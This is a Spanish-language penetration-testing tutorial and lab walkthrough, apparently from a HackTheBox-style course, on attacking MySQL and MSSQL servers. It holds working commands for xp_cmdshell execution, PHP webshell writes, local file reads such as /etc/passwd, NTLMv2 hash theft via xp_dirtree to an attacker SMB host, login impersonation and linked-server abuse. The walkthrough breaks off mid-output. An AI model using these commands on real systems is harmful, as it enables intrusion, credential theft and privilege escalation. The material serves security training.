👾Ataques a Bases de Datos
MySQL y Microsoft SQL Server (MSSQL
) son sistemas de administración de bases de datos relacionales que almacenan datos en tablas, columnas y filas. Muchos sistemas de bases de datos relacionales como MSSQL y MySQL utilizan el Structured Query Language (SQL
) para consultar y mantener la base de datos.
Los hosts de bases de datos se consideran objetivos importantes, ya que son responsables de almacenar todo tipo de datos confidenciales, incluidos, entre otros, credenciales de usuario, Personal Identifiable Information (PII)
datos relacionados con el negocio e información de pago. Además, esos servicios suelen estar configurados con usuarios muy privilegiados. Si obtenemos acceso a una base de datos, es posible que podamos aprovechar esos privilegios para realizar más acciones, incluidos movimientos laterales y escalada de privilegios.
Enumeración
De forma predeterminada, MSSQL usa puertos TCP/1433
y UDP/1434
y MySQL usa TCP/3306
. Sin embargo, cuando MSSQL opera en modo "oculto", utiliza el puerto TCP/2433
. Podemos usar la opción -sC
de scripts predeterminados de Nmap
de para enumerar los servicios de bases de datos en un sistema de destino:
Banner Grabbing
afsh4ck@kali$ nmap -Pn -sV -sC -p1433 10.10.10.125
Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST
Nmap scan report for 10.10.10.125
Host is up (0.0099s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: mssql-test
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: mssql-test.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-26T01:04:36
|_Not valid after: 2051-08-26T01:04:36
|_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.
Host script results:
|_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
El escaneo de Nmap revela información esencial sobre el objetivo, como la versión y el nombre de host, que podemos usar para identificar configuraciones erróneas comunes, ataques específicos o vulnerabilidades conocidas. Exploremos algunas configuraciones erróneas comunes y ataques específicos de protocolo.
Mecanismos de autenticación
MSSQL
admite dos modos de autenticación , lo que significa que los usuarios se pueden crear en Windows o SQL Server:
tipo de autenticación
Descripción
Windows authentication mode
Este es el valor predeterminado, a menudo denominado seguridad integrada
porque el modelo de seguridad de SQL Server está estrechamente integrado con Windows/Active Directory. Se confía en cuentas específicas de usuarios y grupos de Windows para iniciar sesión en SQL Server. Los usuarios de Windows que ya hayan sido autenticados no necesitan presentar credenciales adicionales.
Mixed mode
El modo mixto admite la autenticación mediante cuentas de Windows/Active Directory y SQL Server. Los pares de nombre de usuario y contraseña se mantienen dentro de SQL Server.
MySQL
también admite diferentes métodos de autenticación , como nombre de usuario y contraseña, así como autenticación de Windows (se requiere un complemento). Además, los administradores pueden elegir un modo de autenticación por muchos motivos, incluida la compatibilidad, la seguridad, la usabilidad y más. Sin embargo, dependiendo del método que se implemente, pueden ocurrir errores de configuración.
En el pasado, había una vulnerabilidad CVE-2012-2122 en los servidores MySQL 5.6.x
, entre otras, que nos permitía omitir la autenticación usando repetidamente la misma contraseña incorrecta para la cuenta dada porque la vulnerabilidad timing attack
existía en la forma en que MySQL manejaba los intentos de autenticación.
En este ataque de sincronización, MySQL intenta repetidamente autenticarse en un servidor y mide el tiempo que tarda el servidor en responder a cada intento. Al medir el tiempo que tarda el servidor en responder, podemos determinar cuándo se ha encontrado la contraseña correcta, incluso si el servidor no indica éxito o fracaso.
En el caso de MySQL 5.6.x
, el servidor tarda más en responder a una contraseña incorrecta que a una correcta. Así, si intentamos autenticarnos repetidamente con la misma contraseña incorrecta, eventualmente recibiremos una respuesta indicando que se encontró la contraseña correcta, aunque no sea así.
Configuraciones erróneas
La autenticación mal configurada en SQL Server puede permitirnos acceder al servicio sin credenciales si se habilita el acceso anónimo, se configura un usuario sin contraseña o cualquier usuario, grupo o máquina tiene permiso para acceder a SQL Server.
Privilegios
Dependiendo de los privilegios del usuario podremos realizar diferentes acciones dentro de un SQL Server, como por ejemplo:
Leer o cambiar el contenido de una base de datos.
Leer o cambiar la configuración del servidor.
Ejecutar comandos
Leer archivos locales
Comunicarse con otras bases de datos.
Capturar el hash del sistema local
Suplantar a usuarios existentes
Obtener acceso a otras redes
En esta sección, exploraremos algunos de estos ataques.
Ataques específicos de protocolo
Es fundamental comprender cómo funciona la sintaxis SQL. Podemos utilizar el módulo gratuito Fundamentos de inyección SQL para presentarnos la sintaxis SQL. Aunque este módulo cubre MySQL, la sintaxis de MSSQL y MySQL es bastante similar.
Leer/cambiar la base de datos
Imaginemos que obtuvimos acceso a una base de datos SQL. Primero, necesitamos identificar las bases de datos existentes en el servidor, qué tablas contiene la base de datos y, finalmente, el contenido de cada tabla. Hay que tener en cuenta que podemos encontrarnos con bases de datos con cientos de tablas. Si nuestro objetivo no es sólo obtener acceso a los datos, necesitaremos elegir qué tablas pueden contener información interesante para continuar con nuestros ataques, como nombres de usuario y contraseñas, tokens, configuraciones y más. Veamos cómo podemos hacer esto:
MySQL: conexión al servidor SQL
afsh4ck@kali$ mysql -u julio -pPassword123 -h 10.129.20.13
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Sqlcmd: conexión al servidor SQL
Desde Windows:
C:\htb> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
1>
Conexión desde Linux
Si apuntamos a MSSQL
desde Linux, podemos usar sqsh
como alternativa a sqlcmd
:
afsh4ck@kali$ sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
Alternativamente, podemos utilizar la herramienta de Impacket con el nombre mssqlclient.py
.
afsh4ck@kali$ mssqlclient.py -p 1433 julio@10.129.203.7
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password: MyPassword!
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>
Cuando utilizamos la autenticación de Windows, debemos especificar el nombre de dominio o el nombre de host de la máquina de destino. Si no especificamos un dominio o nombre de host, asumirá la autenticación SQL y se autenticará con los usuarios creados en SQL Server. En cambio, si definimos el dominio o nombre de host, utilizará la Autenticación de Windows. Si nos dirigimos a una cuenta local, podemos usar SERVERNAME\\accountname
o .\\accountname
. El comando completo se vería así:
afsh4ck@kali$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
Bases de datos SQL predeterminadas
Antes de explorar el uso de la sintaxis SQL, es esencial conocer las bases de datos predeterminadas para MySQL
y MSSQL
. Esas bases de datos contienen información sobre la base de datos en sí y nos ayudan a enumerar nombres de bases de datos, tablas, columnas, etc. Con acceso a esas bases de datos, podemos usar algunos procedimientos almacenados del sistema, pero generalmente no contienen datos de la empresa.
Schemas/databases predeterminadas en MySQL
:
MySQL
:mysql
- es la base de datos del sistema que contiene tablas que almacenan la información requerida por el servidor MySQLinformation_schema
- proporciona acceso a los metadatos de la base de datosperformance_schema
- es una característica para monitorear la ejecución del servidor MySQL en un nivel bajosys
- un conjunto de objetos que ayuda a los administradores de bases de datos y a los desarrolladores a interpretar los datos recopilados por el esquema de rendimiento
Schemas/databases predeterminadas en MSSQL
:
MSSQL
:master
- mantiene la información de una instancia de SQL Server.msdb
- utilizado por el Agente SQL Server.model
- una base de datos modelo copiada para cada nueva base de datos.resource
- una base de datos de solo lectura que mantiene los objetos del sistema visibles en cada base de datos del servidor en el esquema del sistema.tempdb
- mantiene objetos temporales para consultas SQL.
Sintaxis SQL
Mostrar bases de datos
mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| htbusers |
+--------------------+
2 rows in set (0.00 sec)
Si usamos sqlcmd
, necesitaremos usar GO
después de nuestra consulta para ejecutar la sintaxis SQL.
1> SELECT name FROM master.dbo.sysdatabases
2> GO
name
--------------------------------------------------
master
tempdb
model
msdb
htbusers
Seleccionar una base de datos
mysql> USE htbusers;
Database changed
1> USE htbusers
2> GO
Changed database context to 'htbusers'.
Mostrar tablas
mysql> SHOW TABLES;
+----------------------------+
| Tables_in_htbusers |
+----------------------------+
| actions |
| permissions |
| permissions_roles |
| permissions_users |
| roles |
| roles_users |
| settings |
| users |
+----------------------------+
8 rows in set (0.00 sec)
Seleccionar una tabla
1> SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
2> GO
table_name
--------------------------------
actions
permissions
permissions_roles
permissions_users
roles
roles_users
settings
users
(8 rows affected)
Seleccionar todos los datos de la tabla "usuarios"
mysql> SELECT * FROM users;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 12:23:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
1> SELECT * FROM users
2> go
id username password data_of_joining
----------- -------------------- ---------------- -----------------------
1 admin p@ssw0rd 2020-07-02 00:00:00.000
2 administrator adm1n_p@ss 2020-07-02 11:30:50.000
3 john john123! 2020-07-02 11:47:16.000
4 tom tom123! 2020-07-02 12:23:16.000
(4 rows affected)
Ejecutar comandos
Command execution
Es una de las capacidades más deseadas a la hora de atacar servicios comunes porque nos permite controlar el sistema operativo. Si tenemos los privilegios adecuados, podemos utilizar la base de datos SQL para ejecutar comandos del sistema o crear los elementos necesarios para hacerlo.
MSSQL
tiene un procedimiento almacenado extendido llamado xp_cmdshell que nos permite ejecutar comandos del sistema usando SQL. Tenga en cuenta lo siguiente sobre xp_cmdshell
:
xp_cmdshell
es una característica poderosa y está deshabilitada de forma predeterminada.xp_cmdshell
se puede habilitar y deshabilitar mediante la administración basada en políticas o ejecutando sp_configureEl proceso de Windows generado
xp_cmdshell
tiene los mismos derechos de seguridad que la cuenta de servicio de SQL Server.xp_cmdshell
opera sincrónicamente. El control no se devuelve a la persona que llama hasta que se completa el comando del shell de comandos
Para ejecutar comandos usando la sintaxis SQL en MSSQL, use:
XP_CMDSHELL
1> xp_cmdshell 'whoami'
2> GO
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
Si xp_cmdshell
no está habilitado, podemos habilitarlo, si tenemos los privilegios adecuados, usando el siguiente comando:
-- Para permitir que se cambien las opciones avanzadas.
EXECUTE sp_configure 'show advanced options', 1
GO
-- Para actualizar el valor configurado actualmente para las opciones avanzadas.
RECONFIGURE
GO
-- Para habilitar la función.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- Para actualizar el valor configurado actualmente para esta característica.
RECONFIGURE
GO
Existen otros métodos para obtener la ejecución de comandos, como agregar procedimientos almacenados extendidos , ensamblados CLR , trabajos del Agente SQL Server y scripts externos . Sin embargo, además de esos métodos, también existen funcionalidades adicionales que se pueden utilizar, como el xp_regwrite
comando que se utiliza para elevar privilegios mediante la creación de nuevas entradas en el registro de Windows. Sin embargo, esos métodos están fuera del alcance de este módulo.
MySQL
admite funciones definidas por el usuario que nos permiten ejecutar código C/C++ como una función dentro de SQL; hay una función definida por el usuario para la ejecución de comandos en este repositorio de GitHub . No es común encontrar una función definida por el usuario como esta en un entorno de producción, pero debemos tener en cuenta que es posible que podamos utilizarla.
Escribir archivos locales
MySQL
no tiene un procedimiento almacenado como xp_cmdshell
, pero podemos lograr la ejecución de comandos si escribimos en una ubicación en el sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL
opera en un servidor web basado en PHP u otros lenguajes de programación como ASP.NET. Si tenemos los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE en el directorio del servidor web. Luego podemos buscar la ubicación donde está el archivo y ejecutar nuestros comandos.
MySQL - Escribir archivo local
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
En MySQL
, una variable global del sistema Secure_file_priv limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las declaraciones LOAD DATA
y la función LOAD_FILE() . Estas operaciones sólo están permitidas a los usuarios que tienen el privilegio ARCHIVO .SELECT … INTO OUTFILE
secure_file_priv
se puede establecer de la siguiente manera:
Si está vacía, la variable no tiene ningún efecto, lo que no es una configuración segura.
Si se configura con el nombre de un directorio, el servidor limita las operaciones de importación y exportación para que funcionen solo con archivos en ese directorio. El directorio debe existir; el servidor no lo crea.
Si se establece en NULL, el servidor deshabilita las operaciones de importación y exportación.
En el siguiente ejemplo, podemos ver que la variable secure_file_priv
está vacía, lo que significa que podemos leer y escribir datos usando MySQL
:
MySQL: privilegios de archivos seguros
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
Para escribir archivos usando MSSQL
, necesitamos habilitar Ole Automation Procedimientos , que requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
MSSQL: habilitar procedimientos de automatización Ole
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
MSSQL: Crear un archivo
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
Leer archivos locales
De forma predeterminada, MSSQL
permite la lectura de archivos en cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura. Podemos utilizar la siguiente consulta SQL:
Leer archivos locales en MSSQL
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
(1 rows affected)
Como mencionamos anteriormente, de forma predeterminada una instalación de MySQL
no permite la lectura de archivos arbitrarios, pero si contamos con la configuración correcta y los privilegios adecuados, podemos leer archivos usando los siguientes métodos:
MySQL - Leer archivos locales en MySQL
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
Capturar hash del servicio MSSQL
En la sección Ataques a SMB
, discutimos que podríamos crear un servidor SMB falso para robar un hash y abusar de alguna implementación predeterminada dentro de un sistema operativo Windows. También podemos robar el hash de la cuenta de servicio MSSQL utilizando procedimientos almacenados xp_subdirs
o xp_dirtree
no documentados, que utilizan el protocolo SMB para recuperar una lista de directorios secundarios en un directorio principal específico del sistema de archivos. Cuando utilizamos uno de estos procedimientos almacenados y lo apuntamos a nuestro servidor SMB, la funcionalidad de escucha del directorio obligará al servidor a autenticarse y enviar el hash NTLMv2 de la cuenta de servicio que ejecuta SQL Server.
Para que esto funcione, primero debemos iniciar Responder o impacket-smbserver y ejecutar una de las siguientes consultas SQL:
XP_DIRTREE Robo de hash
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
subdirectory depth
--------------- -----------
XP_SUBDIRS Robo de hash
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'
Si la cuenta del servicio tiene acceso a nuestro servidor, obtendremos su hash. Luego podemos intentar descifrar el hash o transmitirlo a otro host.
XP_SUBDIRS Robo de hash con Responder
afsh4ck@kali$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
XP_SUBDIRS Robo de hash con Impacket
afsh4ck@kali$ sudo impacket-smbserver share ./ -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.203.7,49728)
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully
[*] demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
[*] Closing down connection (10.129.203.7,49728)
[*] Remaining connections []
Suplantar a usuarios existentes con MSSQL
SQL Server tiene un permiso especial, llamado IMPERSONATE
, que permite al usuario ejecutor asumir los permisos de otro usuario o iniciar sesión hasta que se restablezca el contexto o finalice la sesión. Exploremos cómo el privilegio IMPERSONATE
puede conducir a una escalada de privilegios en SQL Server.
Primero, necesitamos identificar a los usuarios a los que podemos suplantar. Los administradores de sistemas pueden hacerse pasar por cualquier persona de forma predeterminada, pero para los usuarios que no son administradores, los privilegios deben asignarse explícitamente. Podemos utilizar la siguiente consulta para identificar a los usuarios que podemos suplantar:
Identificar usuarios que podemos suplantar
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
Para tener una idea de las posibilidades de escalada de privilegios, verifiquemos si nuestro usuario actual tiene el rol de administrador de sistemas:
Verificar nuestro usuario y rol actual
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)
Como indica el valor devuelto 0
, no tenemos el rol de administrador de sistemas, pero podemos suplantar al sa
usuario. Nos haremos pasar por el usuario y ejecutaremos los mismos comandos. Para suplantar a un usuario, podemos usar la instrucción Transact-SQL EXECUTE AS LOGIN
y configurarla para el usuario que queremos suplantar.
Hacerse pasar por el usuario SA (sysadmin)
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)
Nota: Se recomienda ejecutar EXECUTE AS LOGIN
dentro de la base de datos maestra, porque todos los usuarios, de forma predeterminada, tienen acceso a esa base de datos. Si un usuario al que intenta suplantar no tiene acceso a la base de datos a la que se está conectando, presentará un error. Intente pasar a la base de datos maestra usando USE master
.
Ahora podemos ejecutar cualquier comando como administrador de sistemas como indica el valor devuelto 1
. Para revertir la operación y volver a nuestro usuario anterior, podemos usar la declaración Transact-SQL REVERT
.
Comunicarse con otras bases de datos con MSSQL
MSSQL
tiene una opción de configuración llamada servidores vinculados . Los servidores vinculados generalmente se configuran para permitir que el motor de base de datos ejecute una declaración Transact-SQL que incluya tablas en otra instancia de SQL Server u otro producto de base de datos como Oracle.
Si logramos acceder a un SQL Server con un servidor vinculado configurado, es posible que podamos movernos lateralmente a ese servidor de base de datos. Los administradores pueden configurar un servidor vinculado utilizando credenciales del servidor remoto. Si esas credenciales tienen privilegios de administrador de sistemas, es posible que podamos ejecutar comandos en la instancia remota de SQL. Veamos cómo podemos identificar y ejecutar consultas en servidores vinculados.
Identificar servidores vinculados en MSSQL
1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)
Como podemos ver en el resultado de la consulta, tenemos el nombre del servidor y la columna isremote
, donde 1
significa es un servidor remoto y 0
es un servidor vinculado. Podemos ver sysservers Transact-SQL para más información.
A continuación, podemos intentar identificar el usuario utilizado para la conexión y sus privilegios. La instrucción EXECUTE se puede utilizar para enviar comandos de transferencia a servidores vinculados. Agregamos nuestro comando entre paréntesis y especificamos el servidor vinculado entre corchetes ( [ ]
).
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)
Como hemos visto, ahora podemos ejecutar consultas con privilegios de administrador de sistemas en el servidor vinculado. Como sysadmin
, controlamos la instancia de SQL Server. Podemos leer datos de cualquier base de datos o ejecutar comandos del sistema con xp_cmdshell
. Esta sección cubrió algunas de las formas más comunes de atacar bases de datos SQL Server y MySQL durante las pruebas de penetración. Existen otros métodos para atacar estos tipos de bases de datos, así como otros, como PostGreSQL , SQLite, Oracle, Firebase y MongoDB , que se tratarán en otros módulos. Vale la pena tomarse un tiempo para leer sobre estas tecnologías de bases de datos y también sobre algunas de las formas comunes de atacarlas.
Cheatsheet
Comando
Descripción
mysql -u julio -pPassword123 -h 10.129.20.13
Conexión al servidor MySQL
sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30
Conexión al servidor MSSQL
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
Conexión al servidor MSSQL desde Linux
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
Conexión al servidor MSSQL desde Linux mientras el servidor MSSQL utiliza el mecanismo de autenticación de Windows.
mysql> SHOW DATABASES;
Mostrar todas las bases de datos disponibles en MySQL
mysql> USE users;
Seleccionar una base de datos específica en MySQL
mysql> SHOW TABLES;
Mostr todas las tablas disponibles en la base de datos seleccionada en MySQL
mysql> SELECT * FROM users;
Seleccionar todas las entradas disponibles de la tabla "usuarios" en MySQL
sqlcmd> SELECT name FROM master.dbo.sysdatabases
Seleccionar todas las bases de datos disponibles en MSSQL
sqlcmd> USE htbusers
Seleccionar una base de datos específica en MSSQL
sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES
Mostar todas las tablas disponibles en la base de datos seleccionada en MSSQL
sqlcmd> SELECT * FROM users
Seleccionar todas las entradas disponibles de la tabla "usuarios" en MSSQ
sqlcmd> EXECUTE sp_configure 'show advanced options', 1
Permitir que se cambien las opciones avanzadas
sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1
Habilitar xp_cmdshell
sqlcmd> RECONFIGURE
Se utiliza después de cada comando sp_configure para aplicar los cambios
sqlcmd> xp_cmdshell 'whoami'
Ejecutar un comando del sistema desde el servidor MSSQL
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'
Crear un archivo usando MySQL
mysql> show variables like "secure_file_priv";
Compruebe si los privilegios de archivos seguros están vacíos para leer archivos almacenados localmente en el sistema
sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Leer archivos locales en MSSQL
mysql> select LOAD_FILE("/etc/passwd");
Leer archivos locales en MySQL
sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'
Robo de hash usando el comando xp_dirtree
en MSSQL
sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'
Robo de hash usando el comando xp_subdirs
en MSSQL
sqlcmd> SELECT srvname, isremote FROM sysservers
Identificar servidores vinculados en MSSQL
sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
Identificar el usuario y sus privilegios utilizados para la conexión remota en MSSQL
Caso práctico
Objetivo:
10.129.108.37
Usuario: "
htbdbuser
"Contraseña: "
MSSQLAccess01!
"
Pregunta 1
¿Cuál es la contraseña del usuario "mssqlsvc
"?
Vamos a conectarnos a la base de datos con el módulo mssqlclient de Impacket:
sudo impacket-mssqlclient -p 1433 htbdbuser@10.129.108.37
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (htbdbuser guest@master)> SHOW DATABASES;
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: Could not find stored procedure 'SHOW'.
SQL (htbdbuser guest@master)> SELECT name FROM master.dbo.sysdatabases
name
-------
master
tempdb
model
msdb
hmaildb
flagDB -- Aqui están la flag objetivo
SQL (htbdbuser guest@master)>
SQL (htbdbuser guest@master)> use flagDB
[-] ERROR(WIN-02\SQLEXPRESS): Line 1: The server principal "htbdbuser" is not able to access the database "flagDB" under the current security context.
Las flag objetivo está en flagDB
pero no tenemos permisos para acceder, por lo que vamos a extraer el hash.
Iniciamos Responder en nuestra máquina de atacante
afsh4ck@kali$ sudo responder -I tun0
[sudo] contraseña para kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Listening for events...
Ejecutamos
xp_dirtree
en SQL:
SQL (htbdbuser guest@msdb)> EXEC master..xp_dirtree '\\10.10.14.20\share\'

[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.203.12
[SMB] NTLMv2-SSP Username : WIN-02\mssqlsvc
